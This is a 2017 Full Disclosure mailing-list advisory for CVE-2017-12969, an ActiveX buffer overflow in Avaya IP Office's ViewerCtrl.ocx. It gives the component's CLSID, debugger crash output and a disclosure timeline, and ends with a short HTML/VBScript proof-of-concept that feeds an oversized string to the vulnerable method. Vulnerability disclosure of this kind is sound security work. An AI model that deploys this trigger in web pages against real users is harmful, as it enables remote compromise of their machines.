Date: Sun, 5 Nov 2017 01:16:44 -0400
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2017-12969 Avaya OfficeScan IPO Remote ActiveX Buffer
	Overflow

[+] Credits: John Page (aka hyp3rlinx)	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/AVAYA-OFFICE-IP-(IPO)-v9.1.0-10.1-VIEWERCTRL-ACTIVE-X-BUFFER-OVERFLOW-0DAY.txt
[+] ISR: ApparitionSec



Vendor:
=============www.avaya.com



Product:
===========
Avaya IP Office (IPO)
v9.1.0 - 10.1

IP Office is Avaya's global midsize solution for enterprises,
supporting up to 3,000 users at a single location with IP Office
Select editions.
For businesses with multiple locations, IP Office provides a powerful
set of tools to help streamline operations, centralize management, and
reduce total cost of ownership for converged networks. Using industry
standards, IP Office enables companies to share resources, provide
improved customer service, and keep mobile employees accessible.

Provides a hybrid PBX with TDM and IP telephony and trunk support.
Provides IP routing, switching and firewall protection, between LAN
and WAN (LAN2).

In addition to basic telephony services and voicemail, IP Office
offers both hard phone and soft phone options.
Includes a robust set of tools for administration (Manager), call
tracking (SMDR), and system monitoring and diagnostics (System Status
Application).

Available editions: Basic, Essential, Preferred, Server, Server
Select, Server with Virtualized Software, Server/Sever Select hosted
in the Cloud.



Vulnerability Type:
====================
ActiveX Remote Buffer Overflow




CVE Reference:
==============
CVE-2017-12969
ASA-2017-313



Security Issue:
================
ViewerCtrl.ocx ActiveX Component used by Avaya IP Office (IPO) can be
exploited by remote attackers to potentially execute arbitrary
attacker supplied code. User would have to visit a malicious webpage
using InternetExplorer where the exploit could be triggered.

Clsid: {27F12EFD-325D-4907-A2D2-C38A2B6D3334}
Safe for Script: False
Safe for Init: False

ACCESS_VIOLATION
8C4A77 MOV EAX,[ECX]

SEH Chain:
-----------
1 8D00A3 po.dll
2 36A7E95 CIPElements.dll
3 36A8115 CIPElements.dll
4 788719 ViewerCtrl.OCX
5 788533 ViewerCtrl.OCX
6 78862A ViewerCtrl.OCX
7 6008793E mfc90u.dll
8 60089B31 mfc90u.dll
9 779858C5 ntdll.dll


(d360.1040c): Access violation - code c0000005 (first/second chance
not available)
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ntdll.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for po.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for CIPElements.dll -
eax=0608ec18 ebx=00000000 ecx=00000000 edx=00000000 esi=0aa7bdd0 edi=0aa7bdd0
eip=06064a77 esp=03535c78 ebp=03535db0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
po!cip::po::SpecialObjects::getPresetObject+0x77:
06064a77 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000000=????????
0:008> !load winext/msec
0:008> !exploitable

!exploitable 1.6.0.0
*** ERROR: Module load completed but symbols could not be loaded for mfc90u.dll
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for mshtml.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for user32.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for ieframe.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for iertutil.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for IEShims.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export
symbols for kernel32.dll -

Exploitability Classification: PROBABLY_EXPLOITABLE

Recommended Bug Title: Probably Exploitable - Data from Faulting
Address controls Code Flow starting at
po!cip::po::SpecialObjects::getPresetObject+0x0000000000000077
(Hash=0x6f1f914b.0xc46b7285)

The data from the faulting address is later used as the target for a branch.


References:
==============https://downloads.avaya.com/css/P8/documents/101044091


Exploit/POC:
=============

<object classid='clsid:27F12EFD-325D-4907-A2D2-C38A2B6D3334' id='victim' />

<script language='vbscript'>
victimFile = "C:\Program Files (x86)\Avaya\IP Office Contact
Center\User Interface\ViewerCtrl.ocx"
prototype  = "Function open ( ByVal containerId As String ) As Long"
memberName = "open"
progid     = "ViewerCtrlLib.ViewerCtrl"
argCount   = 1
payload=String(5142, "A")

victim.open payload

</script>


Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  July 12, 2017
Vendor acknowlegement: July 14, 2017
CVE assigned by mitre : August 19, 2017
Vendor advisory : November 4, 2017
November 5, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists